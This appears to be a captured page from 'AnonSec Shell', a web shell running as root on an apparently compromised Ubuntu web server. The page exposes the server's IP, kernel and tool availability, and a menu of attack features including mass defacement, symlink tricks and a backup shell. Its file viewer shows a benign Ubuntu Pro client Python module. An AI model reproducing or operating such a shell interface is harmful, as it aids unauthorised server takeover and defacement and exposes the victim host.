AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/api/u/pro/packages/updates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/uaclient/api/u/pro/packages/updates/v1.py
from typing import List

from uaclient.api.api import APIEndpoint
from uaclient.api.data_types import AdditionalInfo
from uaclient.config import UAConfig
from uaclient.data_types import (
    DataObject,
    Field,
    IntDataValue,
    StringDataValue,
    data_list,
)
from uaclient.security_status import (
    create_updates_list,
    filter_security_updates,
    get_installed_packages_by_origin,
    get_ua_info,
)


class UpdateSummary(DataObject):
    fields = [
        Field("num_updates", IntDataValue),
        Field("num_esm_apps_updates", IntDataValue),
        Field("num_esm_infra_updates", IntDataValue),
        Field("num_standard_security_updates", IntDataValue),
        Field("num_standard_updates", IntDataValue),
    ]

    def __init__(
        self,
        num_updates: int,
        num_esm_apps_updates: int,
        num_esm_infra_updates: int,
        num_standard_security_updates: int,
        num_standard_updates: int,
    ):
        self.num_updates = num_updates
        self.num_esm_apps_updates = num_esm_apps_updates
        self.num_esm_infra_updates = num_esm_infra_updates
        self.num_standard_security_updates = num_standard_security_updates
        self.num_standard_updates = num_standard_updates


class UpdateInfo(DataObject):
    fields = [
        Field("download_size", IntDataValue),
        Field("origin", StringDataValue),
        Field("package", StringDataValue),
        Field("provided_by", StringDataValue),
        Field("status", StringDataValue),
        Field("version", StringDataValue),
    ]

    def __init__(
        self,
        download_size: int,
        origin: str,
        package: str,
        provided_by: str,
        status: str,
        version: str,
    ):
        self.download_size = download_size
        self.origin = origin
        self.package = package
        self.provided_by = provided_by
        self.status = status
        self.version = version


class PackageUpdatesResult(DataObject, AdditionalInfo):
    fields = [
        Field("summary", UpdateSummary),
        Field("updates", data_list(UpdateInfo)),
    ]

    def __init__(self, summary: UpdateSummary, updates: List[UpdateInfo]):
        self.summary = summary
        self.updates = updates


def updates() -> PackageUpdatesResult:
    return _updates(UAConfig())


def _updates(cfg: UAConfig) -> PackageUpdatesResult:
    ua_info = get_ua_info(cfg)
    packages = get_installed_packages_by_origin()
    upgradable_versions = filter_security_updates(packages["all"])
    update_list = create_updates_list(upgradable_versions, ua_info)

    num_esm_apps_updates = len(upgradable_versions["esm-apps"])
    num_esm_infra_updates = len(upgradable_versions["esm-infra"])
    num_standard_security_updates = len(
        upgradable_versions["standard-security"]
    )
    num_standard_updates = len(upgradable_versions["standard-updates"])

    summary = UpdateSummary(
        num_updates=num_esm_apps_updates
        + num_esm_infra_updates
        + num_standard_security_updates
        + num_standard_updates,
        num_esm_apps_updates=num_esm_apps_updates,
        num_esm_infra_updates=num_esm_infra_updates,
        num_standard_security_updates=num_standard_security_updates,
        num_standard_updates=num_standard_updates,
    )
    updates = [
        UpdateInfo(
            download_size=update["download_size"],
            origin=update["origin"],
            package=update["package"],
            provided_by=update["service_name"],
            status=update["status"],
            version=update["version"],
        )
        for update in update_list
    ]

    return PackageUpdatesResult(summary=summary, updates=updates)


endpoint = APIEndpoint(
    version="v1",
    name="PackageUpdates",
    fn=_updates,
    options_cls=None,
)

Anon7 - 2022
AnonSec Team